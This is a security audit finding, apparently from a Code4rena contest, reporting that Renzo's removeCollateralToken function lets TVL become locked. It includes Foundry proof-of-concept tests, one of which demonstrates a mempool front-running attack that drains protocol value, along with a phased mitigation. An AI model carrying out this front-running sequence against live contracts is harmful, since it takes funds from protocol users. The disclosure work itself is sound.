Renzo - CodeWasp's results

Lines of code

https://github.com/code-423n4/2024-04-renzo/blob/519e518f2d8dec9acf6482b84a181e403070d22d/contracts/RestakeManager.sol#L244-L263

Vulnerability details

Impact

Due to absence of safety mechanisms, removal of collateral tokens can lead to loss of TVL, which will be locked in removed tokens. This can happen both unintentionally, as well as from front-running attacks being timed with the removal transaction.

Vulnerability Summary

Function RestakeManager::removeCollateralToken() doesn't have any checks if the removed collateral token holds protocol's TVL. We assume that when a collateral token is about to be removed, users will be warned not to deposit it. Admins may also try to time removal in such way that the removed token won't hold a lot of value. But such measures are obviously not enough, as any on-chain protection mechanisms are missing.

This may lead to at least two ways how TVL may be locked/lost in removed tokens:

• Unintentional lock: user's transaction depositing the removed tokens may be submitted close to the removal transaction, and committed before the removal transaction
• Frontrunning attack: attackers may monitor the mempool for a removal transaction and intentionally frontrun such transaction, preceding it with two, and concluding with one:
  1. deposit a large amount of tokens to-be-removed;
  2. withdraw the same amount in another token;
  3. after the cooldown period elapses, claim the tokens withdrawn in step 2.
  4. As a result, attackers will recover all their funds, but a large portion of protocol TVL will be locked in the removed token.

Additionally, when a collateral token is removed, TVL experiences a sudden drop, which most probably can be gamed to execute other attacks on the protocol.

Proof of Concept

Download this rudimentary test suite, and place all files into the test folder. Execute with forge test --match-test RemoveCollateral

The following test demonstrates how TVL may be lost unintentionally:

    function test_TVL_Loss_On_RemoveCollateral() public {
        
        // Normal deposits (e.g. alice deposits token1)
        vm.startPrank(alice);
        token1.approve(address(restakeManager), 1000 * 10**18);
        restakeManager.deposit(token1, 1000 * 10**18);
        (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs();
        assertEq(totalTVL, 1000 * 10**18);

        // Restake manager decides to remove token2 as a collateral
        // and submits removeCollateralToken transaction
        
        // In parallel, unsuspecting bob decides to deposit token2
        vm.startPrank(bob);
        token2.approve(address(restakeManager), 1000 * 10**18);
        restakeManager.deposit(token2, 1000 * 10**18);

        (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs();
        assertEq(totalTVL, 2000 * 10**18);

        // Manager's transaction gets executed
        vm.startPrank(address(this));
        restakeManager.removeCollateralToken(token2);

        // All value locked in token2 is lost for the protocol
        (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs();
        assertEq(totalTVL, 1000 * 10**18);
    }

This test demonstrates how an attacker can lock TVL in the removed token:

    function test_Frontrun_RemoveCollateral() public {
        // Normal deposits (e.g. alice deposits token1)
        vm.startPrank(alice);
        token1.approve(address(restakeManager), 1000 * 10**18);
        restakeManager.deposit(token1, 1000 * 10**18);
        (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs();
        assertEq(totalTVL, 1000 * 10**18);

        // Restake manager decides to remove token2 as a collateral
        // and submits removeCollateralToken transaction
        
        // Bob is adversarial: he notices removeCollateralToken transaction in the mempool,
        // and frontruns it, by depositing token2, and withdrawing token1
        vm.startPrank(bob);
        token2.approve(address(restakeManager), 1000 * 10**18);
        restakeManager.deposit(token2, 1000 * 10**18);

        ezETH.approve(address(withdrawQueue), 1000 * 10**18);
        withdrawQueue.withdraw(1000 * 10**18, address(token1));

        (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs();
        assertEq(totalTVL, 2000 * 10**18);

        // Manager's transaction gets executed
        vm.startPrank(address(this));
        restakeManager.removeCollateralToken(token2);

        // All value locked in token2 is lost for the protocol
        (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs();
        assertEq(totalTVL, 1000 * 10**18);

        // Cooldown period passes
        vm.warp(block.timestamp + COOLDOWN_PERIOD);

        // Bob is able to retrieve his value in token1
        vm.startPrank(bob);
        withdrawQueue.claim(0);
        
        // The protocol and its users are left empty-handed
        (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs();
        assertEq(totalTVL, 0);
    }

Tools Used

Manual audit; Foundry

Recommended Mitigation Steps

We recommend to split collateral token removal operation into three phases:

1. Start removal: prohibit making new deposits in the to-be-removed token;
2. Sweep phase: allow users to withdraw in the to-be-removed collateral;
3. Finalize removal: sweep all funds in the removed token (from operators, and from the withdrawal queue). Ensure that TVL doesn't experience a too sudden drop.

Assessed type

Other